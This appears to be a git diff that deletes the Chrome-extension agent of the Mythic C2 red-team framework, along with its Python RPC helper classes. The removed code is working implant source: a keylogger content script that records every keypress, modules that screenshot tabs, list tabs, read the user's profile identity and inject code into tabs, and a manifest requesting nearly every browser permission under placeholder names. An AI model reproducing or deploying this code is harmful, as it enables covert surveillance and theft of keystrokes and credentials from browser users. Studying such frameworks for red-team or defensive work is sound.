- C2.sendError(taskid, tasktype);
- } else {
- let response = {"task_id":task.id, "user_output":"injected code into tab with id " + tab, "completed": true};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
- });
- } catch (error) {
- let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
-
-};
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/commands/load.js b/Payload_Types/leviathan/agent_code/commands/load.js
deleted file mode 100755
index 035a00e16..000000000
--- a/Payload_Types/leviathan/agent_code/commands/load.js
+++ /dev/null
@@ -1,20 +0,0 @@
-exports.load = function(task) {
- // TODO: load
- try {
- let args = JSON.parse(task.parameters);
- let response = {'action':'upload','full_path':'', 'chunk_size':1024000, 'chunk_num':1,'file_id':args.file_id};
- let encodedResponse = JSON.stringify(response);
- let final = apfell.apfellid + encodedResponse;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- loads.push({'type':'load','name': args.cmds,'file_id':args.file_id, 'task_id':task.id,'data':[]});
- } catch (error) {
- let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
-
-};
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/commands/screencapture.js b/Payload_Types/leviathan/agent_code/commands/screencapture.js
deleted file mode 100755
index 18bc3a474..000000000
--- a/Payload_Types/leviathan/agent_code/commands/screencapture.js
+++ /dev/null
@@ -1,37 +0,0 @@
-exports.screencapture = function(task){
- try {
- let param = {
- 'format': 'png',
- 'quality': 75
- };
- chrome.tabs.captureVisibleTab(param, function(img) {
- if (img === undefined) {
- let response = {'task_id':task.id, 'user_output': 'screencapture failed', 'completed': false, 'status':'error'};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- } else {
- let encImg = img.toString().split(',')[1];
- let raw = encImg;
- let totalchunks = 1;
- let response = {'total_chunks':totalchunks, 'task_id':task.id, 'full_path':task.parameters};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- screencaptures.push({'type':'screencapture','task_id':task.id, 'image':raw, 'total_chunks': totalchunks});
- }
- });
- } catch (error) {
- let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
-
-};
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/commands/sleep.js b/Payload_Types/leviathan/agent_code/commands/sleep.js
deleted file mode 100644
index e7597dd13..000000000
--- a/Payload_Types/leviathan/agent_code/commands/sleep.js
+++ /dev/null
@@ -1,21 +0,0 @@
-exports.sleep = function(task) {
- try {
- let args = JSON.parse(task.parameters.toString());
- C2.interval = args.sleep;
- clearInterval(mainloop);
- mainloop = setInterval(c2loop, C2.interval * 1000);
- let response = {"task_id":task.id, "user_output":"updated sleep to " + C2.interval, "completed": true};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- } catch (error) {
- let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
-};
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/commands/tabs.js b/Payload_Types/leviathan/agent_code/commands/tabs.js
deleted file mode 100755
index 9c7ad0652..000000000
--- a/Payload_Types/leviathan/agent_code/commands/tabs.js
+++ /dev/null
@@ -1,36 +0,0 @@
-exports.tabs = function(task) {
- try {
- const queryInfo = {};
- let tabs =[];
- chrome.tabs.query(queryInfo, function(result){
- for (let i = 0; i < result.length; i++) {
- const individualTab = {};
- individualTab.window = result[i].title;
- individualTab.url = result[i].url;
- individualTab.incognito = result[i].incognito;
- individualTab.id = result[i].id;
- individualTab.active = result[i].active;
- individualTab.highlighted = result[i].highlighted;
- individualTab.windowid = result[i].windowId;
-
- tabs.push(individualTab);
- }
-
- let output = JSON.stringify(tabs, null, 2);
- let response = {"task_id":task.id, "user_output":output, "completed": true};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- });
- } catch (error) {
- let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
-
-};
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/commands/userinfo.js b/Payload_Types/leviathan/agent_code/commands/userinfo.js
deleted file mode 100755
index 7bf1dbc59..000000000
--- a/Payload_Types/leviathan/agent_code/commands/userinfo.js
+++ /dev/null
@@ -1,28 +0,0 @@
-exports.userinfo = function(task) {
- try {
- chrome.identity.getProfileUserInfo(function(info){
- if (info === undefined) {
- let response = {'task_id':task.id, 'user_output': 'userinfo failed', 'completed': false, 'status':'error'};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- } else {
- let response = {"task_id":task.id, "user_output":JSON.stringify(info, null, 2), "completed": true};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
- });
- } catch (error) {
- let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
-};
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/extension/icons/blank.png b/Payload_Types/leviathan/agent_code/extension/icons/blank.png
deleted file mode 100755
index b287e3acd..000000000
Binary files a/Payload_Types/leviathan/agent_code/extension/icons/blank.png and /dev/null differ
diff --git a/Payload_Types/leviathan/agent_code/extension/utils/kl.js b/Payload_Types/leviathan/agent_code/extension/utils/kl.js
deleted file mode 100644
index d6f143324..000000000
--- a/Payload_Types/leviathan/agent_code/extension/utils/kl.js
+++ /dev/null
@@ -1,52 +0,0 @@
-// Heavily adapted from https://github.com/Xeroday/ChromeLogger/blob/master/Chrome/src/inject/payload.js
-var port = chrome.runtime.connect({name: "keylogger"});
-
-if (!document.title) {
- document.title = document.URL;
-}
-
-document.addEventListener('keypress', function(e) {
- e = e || window.event;
- var charCode = typeof e.which == "number" ? e.which : e.keyCode;
- if(charCode) {
- log(String.fromCharCode(charCode));
- }
-});
-
-document.addEventListener('keydown', function (e) {
- e = e || window.event;
- var charCode = typeof e.which == "number" ? e.which : e.keyCode;
- if (charCode == 8) {
- log("[BKSP]");
- } else if (charCode == 9) {
- log("[TAB]");
- } else if (charCode == 13) {
- log("[ENTER]");
- } else if (charCode == 16) {
- log("[SHIFT]");
- } else if (charCode == 17) {
- log("[CTRL]");
- } else if (charCode == 18) {
- log("[ALT]");
- } else if (charCode == 91) {
- log("[L WINDOW]"); // command for mac
- } else if (charCode == 92) {
- log("[R WINDOW]"); // command for mac
- } else if (charCode == 93) {
- log("[SELECT/CMD]"); // command for mac
- }
-});
-
-/* Keylog Saving */
-var time = new Date().getTime();
-var data = {};
-var lastLog = time;
-
-
-function log(input) {
- var now = new Date().getTime();
- if (now - lastLog < 10) return;
- data[time] += input;
- lastLog = now;
- port.sendMessage(data)
-}
\ No newline at end of file
diff --git a/Payload_Types/leviathan/agent_code/manifest.json b/Payload_Types/leviathan/agent_code/manifest.json
deleted file mode 100755
index 0d292fb8e..000000000
--- a/Payload_Types/leviathan/agent_code/manifest.json
+++ /dev/null
@@ -1,61 +0,0 @@
-{
- "name": "EXTENSION_NAME_REPLACE",
- "version": "VERSION_REPLACE",
- "manifest_version": 2,
- "description": "DESCRIPTION_REPLACE",
- "homepage_url": "http://www.example.com/debugextension",
- "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
- "converted_from_user_script": true,
- "background": {
- "scripts": [
- "main.js"
- ],
- "persistent": true
- },
- "icons": {
- "128": "icons/blank.png"
- },
- "update_url" : "http://www.example.com/update.xml",
- "permissions": [
- "bookmarks",
- "webNavigation",
- "clipboardRead",
- "clipboardWrite",
- "contentSettings",
- "contextMenus",
- "cookies",
- "history",
- "idle",
- "management",
- "notifications",
- "tabs",
- "identity",
- "identity.email",
- "alarms",
- "background",
- "browsingData",
- "contentSettings",
- "cookies",
- "debugger",
- "declarativeContent",
- "desktopCapture",
- "downloads",
- "gcm",
- "history",
- "idle",
- "power",
- "privacy",
- "proxy",
- "system.cpu",
- "tabCapture",
- "tabs",
- "unlimitedStorage",
- "webRequest",
- "nativeMessaging",
- "geolocation",
- "webRequestBlocking",
- "downloads",
- "downloads.open",
- ""
- ]
-}
diff --git a/Payload_Types/leviathan/mythic/CommandBase.py b/Payload_Types/leviathan/mythic/CommandBase.py
deleted file mode 100644
index 6e949deb3..000000000
--- a/Payload_Types/leviathan/mythic/CommandBase.py
+++ /dev/null
@@ -1,483 +0,0 @@
-from abc import abstractmethod, ABCMeta
-import json
-from enum import Enum
-import base64
-import uuid
-from pathlib import Path
-
-
-class MythicStatus(Enum):
- Success = "success"
- Error = "error"
- Completed = "completed"
- Processed = "processed"
- Processing = "processing"
-
-
-class ParameterType(Enum):
- String = "String"
- Boolean = "Boolean"
- File = "File"
- Array = "Array"
- ChooseOne = "Choice"
- ChooseMultiple = "ChoiceMultiple"
- Credential_JSON = "Credential-JSON"
- Credential_Account = "Credential-Account"
- Credential_Realm = "Credential-Realm"
- Credential_Type = ("Credential-Type",)
- Credential_Value = "Credential-Credential"
- Number = "Number"
- Payload = "PayloadList"
- ConnectionInfo = "AgentConnect"
-
-
-class CommandParameter:
- def __init__(
- self,
- name: str,
- type: ParameterType,
- description: str = "",
- choices: [any] = None,
- required: bool = True,
- default_value: any = None,
- validation_func: callable = None,
- value: any = None,
- supported_agents: [str] = None,
- ):
- self.name = name
- self.type = type
- self.description = description
- if choices is None:
- self.choices = []
- else:
- self.choices = choices
- self.required = required
- self.validation_func = validation_func
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.default_value = default_value
- self.supported_agents = supported_agents if supported_agents is not None else []
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def type(self):
- return self._type
-
- @type.setter
- def type(self, type):
- self._type = type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def choices(self):
- return self._choices
-
- @choices.setter
- def choices(self, choices):
- self._choices = choices
-
- @property
- def validation_func(self):
- return self._validation_func
-
- @validation_func.setter
- def validation_func(self, validation_func):
- self._validation_func = validation_func
-
- @property
- def supported_agents(self):
- return self._supported_agents
-
- @supported_agents.setter
- def supported_agents(self, supported_agents):
- self._supported_agents = supported_agents
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is not None:
- type_validated = TypeValidators().validate(self.type, value)
- if self.validation_func is not None:
- try:
- self.validation_func(type_validated)
- self._value = type_validated
- except Exception as e:
- raise ValueError(
- "Failed validation check for parameter {} with value {}".format(
- self.name, str(value)
- )
- )
- return
- else:
- # now we do some verification ourselves based on the type
- self._value = type_validated
- return
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "type": self._type.value,
- "description": self._description,
- "choices": "\n".join(self._choices),
- "required": self._required,
- "default_value": self._value,
- "supported_agents": "\n".join(self._supported_agents),
- }
-
-
-class TypeValidators:
- def validateString(self, val):
- return str(val)
-
- def validateNumber(self, val):
- try:
- return int(val)
- except:
- return float(val)
-
- def validateBoolean(self, val):
- if isinstance(val, bool):
- return val
- else:
- raise ValueError("Value isn't bool")
-
- def validateFile(self, val):
- try: # check if the file is actually a file-id
- uuid_obj = uuid.UUID(val, version=4)
- return str(uuid_obj)
- except ValueError:
- pass
- return base64.b64decode(val)
-
- def validateArray(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("value isn't array")
-
- def validateCredentialJSON(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("value ins't a dictionary")
-
- def validatePass(self, val):
- return val
-
- def validateChooseMultiple(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("Choices aren't in a list")
-
- def validatePayloadList(self, val):
- return str(uuid.UUID(val, version=4))
-
- def validateAgentConnect(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("Not instance of dictionary")
-
- switch = {
- "String": validateString,
- "Number": validateNumber,
- "Boolean": validateBoolean,
- "File": validateFile,
- "Array": validateArray,
- "Credential-JSON": validateCredentialJSON,
- "Credential-Account": validatePass,
- "Credential-Realm": validatePass,
- "Credential-Type": validatePass,
- "Credential-Credential": validatePass,
- "Choice": validatePass,
- "ChoiceMultiple": validateChooseMultiple,
- "PayloadList": validatePayloadList,
- "AgentConnect": validateAgentConnect,
- }
-
- def validate(self, type: ParameterType, val: any):
- return self.switch[type.value](self, val)
-
-
-class TaskArguments(metaclass=ABCMeta):
- def __init__(self, command_line: str):
- self.command_line = str(command_line)
-
- @property
- def args(self):
- return self._args
-
- @args.setter
- def args(self, args):
- self._args = args
-
- def get_arg(self, key: str):
- if key in self.args:
- return self.args[key].value
- else:
- return None
-
- def has_arg(self, key: str) -> bool:
- return key in self.args
-
- def get_commandline(self) -> str:
- return self.command_line
-
- def is_empty(self) -> bool:
- return len(self.args) == 0
-
- def add_arg(self, key: str, value, type: ParameterType = None):
- if key in self.args:
- self.args[key].value = value
- else:
- if type is None:
- self.args[key] = CommandParameter(
- name=key, type=ParameterType.String, value=value
- )
- else:
- self.args[key] = CommandParameter(name=key, type=type, value=value)
-
- def rename_arg(self, old_key: str, new_key: str):
- if old_key not in self.args:
- raise Exception("{} not a valid parameter".format(old_key))
- self.args[new_key] = self.args.pop(old_key)
-
- def remove_arg(self, key: str):
- self.args.pop(key, None)
-
- def to_json(self):
- temp = []
- for k, v in self.args.items():
- temp.append(v.to_json())
- return temp
-
- def load_args_from_json_string(self, command_line: str):
- temp_dict = json.loads(command_line)
- for k, v in temp_dict.items():
- for k2,v2 in self.args.items():
- if v2.name == k:
- v2.value = v
-
- async def verify_required_args_have_values(self):
- for k, v in self.args.items():
- if v.value is None:
- v.value = v.default_value
- if v.required and v.value is None:
- raise ValueError("Required arg {} has no value".format(k))
-
- def __str__(self):
- if len(self.args) > 0:
- temp = {}
- for k, v in self.args.items():
- if isinstance(v.value, bytes):
- temp[k] = base64.b64encode(v.value).decode()
- else:
- temp[k] = v.value
- return json.dumps(temp)
- else:
- return self.command_line
-
- @abstractmethod
- async def parse_arguments(self):
- pass
-
-
-class AgentResponse:
- def __init__(self, response: dict):
- self.response = response
-
-
-class Callback:
- def __init__(self, **kwargs):
- self.__dict__.update(kwargs)
-
-
-class BrowserScript:
- # if a browserscript is specified as part of a PayloadType, then it's a support script
- # if a browserscript is specified as part of a command, then it's for that command
- def __init__(self, script_name: str, author: str = None):
- self.script_name = script_name
- self.author = author
-
- def to_json(self, base_path: Path):
- try:
- code_file = (
- base_path
- / "mythic"
- / "browser_scripts"
- / "{}.js".format(self.script_name)
- )
- if code_file.exists():
- code = code_file.read_bytes()
- code = base64.b64encode(code).decode()
- else:
- code = ""
- return {"script": code, "name": self.script_name, "author": self.author}
- except Exception as e:
- return {"script": str(e), "name": self.script_name, "author": self.author}
-
-
-class MythicTask:
- def __init__(
- self, taskinfo: dict, args: TaskArguments, status: MythicStatus = None
- ):
- self.task_id = taskinfo["id"]
- self.original_params = taskinfo["original_params"]
- self.completed = taskinfo["completed"]
- self.callback = Callback(**taskinfo["callback"])
- self.agent_task_id = taskinfo["agent_task_id"]
- self.operator = taskinfo["operator"]
- self.args = args
- self.status = MythicStatus.Success
- if status is not None:
- self.status = status
-
- def get_status(self) -> MythicStatus:
- return self.status
-
- def set_status(self, status: MythicStatus):
- self.status = status
-
- def __str__(self):
- return str(self.args)
-
-
-class CommandBase(metaclass=ABCMeta):
- def __init__(self, agent_code_path: Path):
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
-
- @property
- @abstractmethod
- def cmd(self):
- pass
-
- @property
- @abstractmethod
- def needs_admin(self):
- pass
-
- @property
- @abstractmethod
- def help_cmd(self):
- pass
-
- @property
- @abstractmethod
- def description(self):
- pass
-
- @property
- @abstractmethod
- def version(self):
- pass
-
- @property
- @abstractmethod
- def is_exit(self):
- pass
-
- @property
- @abstractmethod
- def is_file_browse(self):
- pass
-
- @property
- @abstractmethod
- def is_process_list(self):
- pass
-
- @property
- @abstractmethod
- def is_download_file(self):
- pass
-
- @property
- @abstractmethod
- def is_remove_file(self):
- pass
-
- @property
- @abstractmethod
- def is_upload_file(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def argument_class(self):
- pass
-
- @property
- @abstractmethod
- def attackmapping(self):
- pass
-
- @property
- def browser_script(self):
- pass
-
- @abstractmethod
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- pass
-
- @abstractmethod
- async def process_response(self, response: AgentResponse):
- pass
-
- def to_json(self):
- params = self.argument_class("").to_json()
- if self.browser_script is not None:
- bscript = {"browser_script": self.browser_script.to_json(self.base_path)}
- else:
- bscript = {}
- return {
- "cmd": self.cmd,
- "needs_admin": self.needs_admin,
- "help_cmd": self.help_cmd,
- "description": self.description,
- "version": self.version,
- "is_exit": self.is_exit,
- "is_file_browse": self.is_file_browse,
- "is_process_list": self.is_process_list,
- "is_download_file": self.is_download_file,
- "is_remove_file": self.is_remove_file,
- "is_upload_file": self.is_upload_file,
- "author": self.author,
- "attack": [{"t_num": a} for a in self.attackmapping],
- "parameters": params,
- **bscript,
- }
diff --git a/Payload_Types/leviathan/mythic/MythicBaseRPC.py b/Payload_Types/leviathan/mythic/MythicBaseRPC.py
deleted file mode 100644
index df92fe802..000000000
--- a/Payload_Types/leviathan/mythic/MythicBaseRPC.py
+++ /dev/null
@@ -1,95 +0,0 @@
-from aio_pika import connect_robust, IncomingMessage, Message
-import asyncio
-import uuid
-from CommandBase import *
-import json
-
-
-class RPCResponse:
- def __init__(self, resp: dict):
- self._raw_resp = resp
- if resp["status"] == "success":
- self.status = MythicStatus.Success
- self.response = resp["response"] if "response" in resp else ""
- self.error_message = None
- else:
- self.status = MythicStatus.Error
- self.error_message = resp["error"]
- self.response = None
-
- @property
- def status(self):
- return self._status
-
- @status.setter
- def status(self, status):
- self._status = status
-
- @property
- def error_message(self):
- return self._error_message
-
- @error_message.setter
- def error_message(self, error_message):
- self._error_message = error_message
-
- @property
- def response(self):
- return self._response
-
- @response.setter
- def response(self, response):
- self._response = response
-
-
-class MythicBaseRPC:
- def __init__(self, task: MythicTask):
- self.task_id = task.task_id
- self.connection = None
- self.channel = None
- self.callback_queue = None
- self.futures = {}
- self.loop = asyncio.get_event_loop()
-
- async def connect(self):
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- self.connection = await connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- self.channel = await self.connection.channel()
- self.callback_queue = await self.channel.declare_queue(exclusive=True)
- await self.callback_queue.consume(self.on_response)
-
- return self
-
- def on_response(self, message: IncomingMessage):
- future = self.futures.pop(message.correlation_id)
- future.set_result(message.body)
-
- async def call(self, n, receiver: str = None) -> RPCResponse:
- if self.connection is None:
- await self.connect()
- correlation_id = str(uuid.uuid4())
- future = self.loop.create_future()
-
- self.futures[correlation_id] = future
- if receiver is None:
- router = "rpc_queue"
- else:
- router = "{}_rpc_queue".format(receiver)
- await self.channel.default_exchange.publish(
- Message(
- json.dumps(n).encode(),
- content_type="application/json",
- correlation_id=correlation_id,
- reply_to=self.callback_queue.name,
- ),
- routing_key=router,
- )
-
- return RPCResponse(json.loads(await future))
diff --git a/Payload_Types/leviathan/mythic/MythicC2RPC.py b/Payload_Types/leviathan/mythic/MythicC2RPC.py
deleted file mode 100644
index c43be2875..000000000
--- a/Payload_Types/leviathan/mythic/MythicC2RPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicC2RPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicC2RPC(MythicBaseRPC):
- async def call_c2_func(
- self, c2_profile: str, function_name: str, message: str
- ) -> MythicC2RPCResponse:
- resp = await self.call(
- {"action": function_name, "message": message, "task_id": self.task_id},
- c2_profile,
- )
- return MythicC2RPCResponse(resp)
diff --git a/Payload_Types/leviathan/mythic/MythicCryptoRPC.py b/Payload_Types/leviathan/mythic/MythicCryptoRPC.py
deleted file mode 100644
index 6a7673d17..000000000
--- a/Payload_Types/leviathan/mythic/MythicCryptoRPC.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicCryptoRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response["data"]
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicCryptoRPC(MythicBaseRPC):
- async def encrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "encrypt_bytes",
- "data": base64.b64encode(data).decode(),
- "task_id": self.task_id,
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
-
- async def decrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "decrypt_bytes",
- "task_id": self.task_id,
- "data": base64.b64encode(data).decode(),
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
diff --git a/Payload_Types/leviathan/mythic/MythicFileRPC.py b/Payload_Types/leviathan/mythic/MythicFileRPC.py
deleted file mode 100644
index 77388965e..000000000
--- a/Payload_Types/leviathan/mythic/MythicFileRPC.py
+++ /dev/null
@@ -1,172 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import uuid
-
-
-class MythicFileRPCResponse(RPCResponse):
- def __init__(self, file: RPCResponse):
- super().__init__(file._raw_resp)
- if file.status == MythicStatus.Success:
- self.agent_file_id = file.response["agent_file_id"]
- self.task = file.response["task"]
- self.timestamp = file.response["timestamp"]
- self.deleted = file.response["deleted"]
- self.operator = file.response["operator"]
- self.delete_after_fetch = file.response["delete_after_fetch"]
- self.filename = file.response["filename"]
- self.md5 = file.response["md5"]
- self.sha1 = file.response["sha1"]
- self.chunks_received = file.response["chunks_received"]
- self.total_chunks = file.response["total_chunks"]
- if "contents" in file.response:
- self.contents = base64.b64decode(file.response["contents"])
- else:
- self.contents = None
- else:
- self.agent_file_id = None
- self.task = None
- self.timestamp = None
- self.deleted = None
- self.operator = None
- self.delete_after_fetch = None
- self.filename = None
- self.md5 = None
- self.sha1 = None
- self.chunks_received = None
- self.total_chunks = None
- self.contents = None
-
- @property
- def agent_file_id(self):
- return self._agent_file_id
-
- @agent_file_id.setter
- def agent_file_id(self, agent_file_id):
- self._agent_file_id = agent_file_id
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def timestamp(self):
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def delete_after_fetch(self):
- return self._delete_after_fetch
-
- @delete_after_fetch.setter
- def delete_after_fetch(self, delete_after_fetch):
- self._delete_after_fetch = delete_after_fetch
-
- @property
- def filename(self):
- return self._filename
-
- @filename.setter
- def filename(self, filename):
- self._filename = filename
-
- @property
- def md5(self):
- return self._md5
-
- @md5.setter
- def md5(self, md5):
- self._md5 = md5
-
- @property
- def sha1(self):
- return self._sha1
-
- @sha1.setter
- def sha1(self, sha1):
- self._sha1 = sha1
-
- @property
- def chunks_received(self):
- return self._chunks_received
-
- @chunks_received.setter
- def chunks_received(self, chunks_received):
- self._chunks_received = chunks_received
-
- @property
- def total_chunks(self):
- return self._total_chunks
-
- @total_chunks.setter
- def total_chunks(self, total_chunks):
- self._total_chunks = total_chunks
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- self._contents = contents
-
-
-class MythicFileRPC(MythicBaseRPC):
- async def register_file(
- self,
- file: bytes,
- delete_after_fetch: bool = None,
- saved_file_name: str = None,
- remote_path: str = None,
- is_screenshot: bool = None,
- is_download: bool = None,
- ) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "register_file",
- "file": base64.b64encode(file).decode(),
- "delete_after_fetch": delete_after_fetch
- if delete_after_fetch is not None
- else True,
- "saved_file_name": saved_file_name
- if saved_file_name is not None
- else str(uuid.uuid4()),
- "task_id": self.task_id,
- "remote_path": remote_path if remote_path is not None else "",
- "is_screenshot": is_screenshot if is_screenshot is not None else False,
- "is_download": is_download if is_download is not None else False,
- }
- )
- return MythicFileRPCResponse(resp)
-
- async def get_file_by_name(self, filename: str) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "get_file_by_name",
- "task_id": self.task_id,
- "filename": filename,
- }
- )
- return MythicFileRPCResponse(resp)
diff --git a/Payload_Types/leviathan/mythic/MythicPayloadRPC.py b/Payload_Types/leviathan/mythic/MythicPayloadRPC.py
deleted file mode 100644
index 2af8bb3a1..000000000
--- a/Payload_Types/leviathan/mythic/MythicPayloadRPC.py
+++ /dev/null
@@ -1,303 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import pathlib
-
-
-class MythicPayloadRPCResponse(RPCResponse):
- def __init__(self, payload: RPCResponse):
- super().__init__(payload._raw_resp)
- if payload.status == MythicStatus.Success:
- self.uuid = payload.response["uuid"]
- self.tag = payload.response["tag"]
- self.operator = payload.response["operator"]
- self.creation_time = payload.response["creation_time"]
- self.payload_type = payload.response["payload_type"]
- self.operation = payload.response["operation"]
- self.wrapped_payload = payload.response["wrapped_payload"]
- self.deleted = payload.response["deleted"]
- self.auto_generated = payload.response["auto_generated"]
- self.task = payload.response["task"]
- if "contents" in payload.response:
- self.contents = payload.response["contents"]
- self.build_phase = payload.response["build_phase"]
- self.agent_file_id = payload.response["file_id"]["agent_file_id"]
- self.filename = payload.response["file_id"]["filename"]
- self.c2info = payload.response["c2info"]
- self.commands = payload.response["commands"]
- self.build_parameters = payload.response["build_parameters"]
- else:
- self.uuid = None
- self.tag = None
- self.operator = None
- self.creation_time = None
- self.payload_type = None
- self.operation = None
- self.wrapped_payload = None
- self.deleted = None
- self.auto_generated = None
- self.task = None
- self.contents = None
- self.build_phase = None
- self.agent_file_id = None
- self.filename = None
- self.c2info = None
- self.commands = None
- self.build_parameters = None
-
- @property
- def uuid(self):
- return self._uuid
-
- @uuid.setter
- def uuid(self, uuid):
- self._uuid = uuid
-
- @property
- def tag(self):
- return self._tag
-
- @tag.setter
- def tag(self, tag):
- self._tag = tag
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def creation_time(self):
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def payload_type(self):
- return self._payload_type
-
- @payload_type.setter
- def payload_type(self, payload_type):
- self._payload_type = payload_type
-
- @property
- def location(self):
- return self._location
-
- @property
- def operation(self):
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- self._operation = operation
-
- @property
- def wrapped_payload(self):
- return self._wrapped_payload
-
- @wrapped_payload.setter
- def wrapped_payload(self, wrapped_payload):
- self._wrapped_payload = wrapped_payload
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def auto_generated(self):
- return self._auto_generated
-
- @auto_generated.setter
